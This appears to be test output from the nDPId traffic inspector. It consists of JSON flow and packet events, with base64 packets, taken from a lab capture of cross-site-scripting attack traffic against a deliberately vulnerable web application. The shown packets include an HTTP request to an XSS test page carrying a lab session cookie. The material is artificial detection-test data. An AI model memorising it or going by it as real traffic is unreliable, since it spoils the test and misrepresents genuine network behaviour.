+00433{"flow_id":643,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348073,"pkt_ts_usec":370632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f3NAAD4GRmWsEAABwKgKMosqAFAaVGwNDOP9JYAQATvMsgAAAQEICgE9H7QD5vEn"} +00948{"flow_id":643,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9168,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":412315,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzf3RAAD4GROWsEAABwKgKMosqAFAaVGwNDOP9JYAYATt6tgAAAQEICgE9ILgD5vEnR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02822{"flow_id":643,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9169,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":415864,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceCElAAEAGtKXAqAoyrBAAAQBQiyoM4\/0lGlRtjIAYAQd9\/AAAAQEICgPm8i0BPSC4SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjM0OjM0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9171,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":648,"flow_packet_id":1,"flow_first_seen":1499348074670,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35696,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":648,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9171,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":670569,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8OC5AAD4GjaKsEAABwKgKMotwAFDSMxjXAAAAAKACchDGAgAAAgQFtAQCCAoBPSD5AAAAAAEDAwc="} +00444{"flow_id":648,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":670696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi3D0f4w30jMY2KAScSBP1gAAAgQFtAQCCAoD5vJtAT0g+QEDAwc="} +00432{"flow_id":648,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":671439,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OC9AAD4GjamsEAABwKgKMotwAFDSMxjY9H+MOIAQAOXu3QAAAQEICgE9IPkD5vJt"} +00432{"flow_id":644,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9177,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":916774,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06kdAAD4G25CsEAABwKgKMos4AFDyvfGglr67X4ARAOUpPgAAAQEICgE9ITYD5u1O"} +00432{"flow_id":644,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9178,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":917024,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SfVAAEAGeePAqAoyrBAAAQBQiziWvrtf8r3xoYARAOMj4wAAAQEICgPm8qoBPSE2"} +00432{"flow_id":644,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9179,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348074,"pkt_ts_usec":917691,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06khAAD4G24+sEAABwKgKMos4AFDyvfGhlr67YIAQAOUj4AAAAQEICgE9ITcD5vKq"} +00432{"flow_id":645,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9183,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348075,"pkt_ts_usec":917366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jQ1AAD4GOMusEAABwKgKMotGAFAklpAljh+3IIARAOVjYgAAAQEICgE9IjAD5u6j"} +00432{"flow_id":645,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9184,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348075,"pkt_ts_usec":917611,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RIRAAEAGf1TAqAoyrBAAAQBQi0aOH7cgJJaQJoARAONeYgAAAQEICgPm86QBPSIw"} +00432{"flow_id":645,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9185,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348075,"pkt_ts_usec":918323,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jQ5AAD4GOMqsEAABwKgKMotGAFAklpAmjh+3IYAQAOVeXwAAAQEICgE9IjED5vOk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9192,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":649,"flow_packet_id":1,"flow_first_seen":1499348077218,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35722,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":649,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":218866,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80HtAAD4G9VSsEAABwKgKMouKAFBc0\/MNAAAAAKACchBelQAAAgQFtAQCCAoBPSN2AAAAAAEDAwc="} +00444{"flow_id":649,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9193,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":218968,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi4oOSV5eXNPzDqAScSD5+wAAAgQFtAQCCAoD5vTqAT0jdgEDAwc="} +00433{"flow_id":649,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9195,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":219749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00HxAAD4G9VusEAABwKgKMouKAFBc0\/MODkleX4AQAOWZAwAAAQEICgE9I3YD5vTq"} +00433{"flow_id":646,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":918484,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DYhAAD4GuFCsEAABwKgKMotUAFAOsRP2NNP0PYARAOUOXwAAAQEICgE9JCUD5u\/n"} +00433{"flow_id":646,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9199,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":918703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0AaRAAEAGwjTAqAoyrBAAAQBQi1Q00\/Q9DrET94ARAOMIrgAAAQEICgPm9ZkBPSQl"} +00432{"flow_id":646,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9200,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348077,"pkt_ts_usec":919409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DYlAAD4GuE+sEAABwKgKMotUAFAOsRP3NNP0PoAQAOUIrAAAAQEICgE9JCUD5vWZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9204,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":650,"flow_packet_id":1,"flow_first_seen":1499348078531,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35736,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":650,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":531918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86yNAAD4G2qysEAABwKgKMouYAFAizM+dAAAAAKACchC6tgAAAgQFtAQCCAoBPSS+AAAAAAEDAwc="} +00444{"flow_id":650,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9205,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":532057,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi5glYndPIszPnqAScSAkywAAAgQFtAQCCAoD5vYyAT0kvgEDAwc="} +00432{"flow_id":650,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9206,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":532812,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06yRAAD4G2rOsEAABwKgKMouYAFAizM+eJWJ3UIAQAOXD0gAAAQEICgE9JL4D5vYy"} +00432{"flow_id":647,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":918525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Pg9AAD4Gh8msEAABwKgKMotiAFCjeCHAE9TN+IARAOWwygAAAQEICgE9JR8D5vEm"} +00432{"flow_id":647,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9211,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":918750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0O2tAAEAGiG3AqAoyrBAAAQBQi2IT1M34o3ghwYARAOOrXgAAAQEICgPm9pMBPSUf"} +00432{"flow_id":647,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9212,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348078,"pkt_ts_usec":919503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PhBAAD4Gh8isEAABwKgKMotiAFCjeCHBE9TN+YAQAOWrXAAAAQEICgE9JR8D5vaT"} +00432{"flow_id":648,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9219,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348079,"pkt_ts_usec":918905,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ODBAAD4GjaisEAABwKgKMotwAFDSMxjY9H+MOIARAOXpvAAAAQEICgE9JhkD5vJt"} +00432{"flow_id":648,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9220,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348079,"pkt_ts_usec":919120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0e7VAAEAGSCPAqAoyrBAAAQBQi3D0f4w40jMY2YARAOPknQAAAQEICgPm940BPSYZ"} +00432{"flow_id":648,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9221,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348079,"pkt_ts_usec":919827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ODFAAD4GjaesEAABwKgKMotwAFDSMxjZ9H+MOYAQAOXkmwAAAQEICgE9JhkD5veN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9225,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":651,"flow_packet_id":1,"flow_first_seen":1499348081113,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35762,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":651,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9225,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348081,"pkt_ts_usec":113543,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8P1ZAAD4GhnqsEAABwKgKMouyAFAGWhgVAAAAAKACchCMEgAAAgQFtAQCCAoBPSdDAAAAAAEDAwc="} +00444{"flow_id":651,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9226,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348081,"pkt_ts_usec":113640,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQi7IGSc2TBloYFqAScSC8dgAAAgQFtAQCCAoD5vi3AT0nQwEDAwc="} +00432{"flow_id":651,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9227,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348081,"pkt_ts_usec":114423,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P1dAAD4GhoGsEAABwKgKMouyAFAGWhgWBknNlIAQAOVbfQAAAQEICgE9J0QD5vi3"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":608,"flow_packet_id":6,"flow_first_seen":1499348006334,"flow_last_seen":1499348011904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34980,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":608,"flow_packet_id":6,"flow_first_seen":1499348006334,"flow_last_seen":1499348011904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":609,"flow_packet_id":6,"flow_first_seen":1499348007599,"flow_last_seen":1499348012904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34994,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":609,"flow_packet_id":6,"flow_first_seen":1499348007599,"flow_last_seen":1499348012904,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":610,"flow_packet_id":6,"flow_first_seen":1499348010145,"flow_last_seen":1499348015905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35020,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":610,"flow_packet_id":6,"flow_first_seen":1499348010145,"flow_last_seen":1499348015905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":611,"flow_packet_id":6,"flow_first_seen":1499348011433,"flow_last_seen":1499348016905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35034,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9231,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":611,"flow_packet_id":6,"flow_first_seen":1499348011433,"flow_last_seen":1499348016905,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35034,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 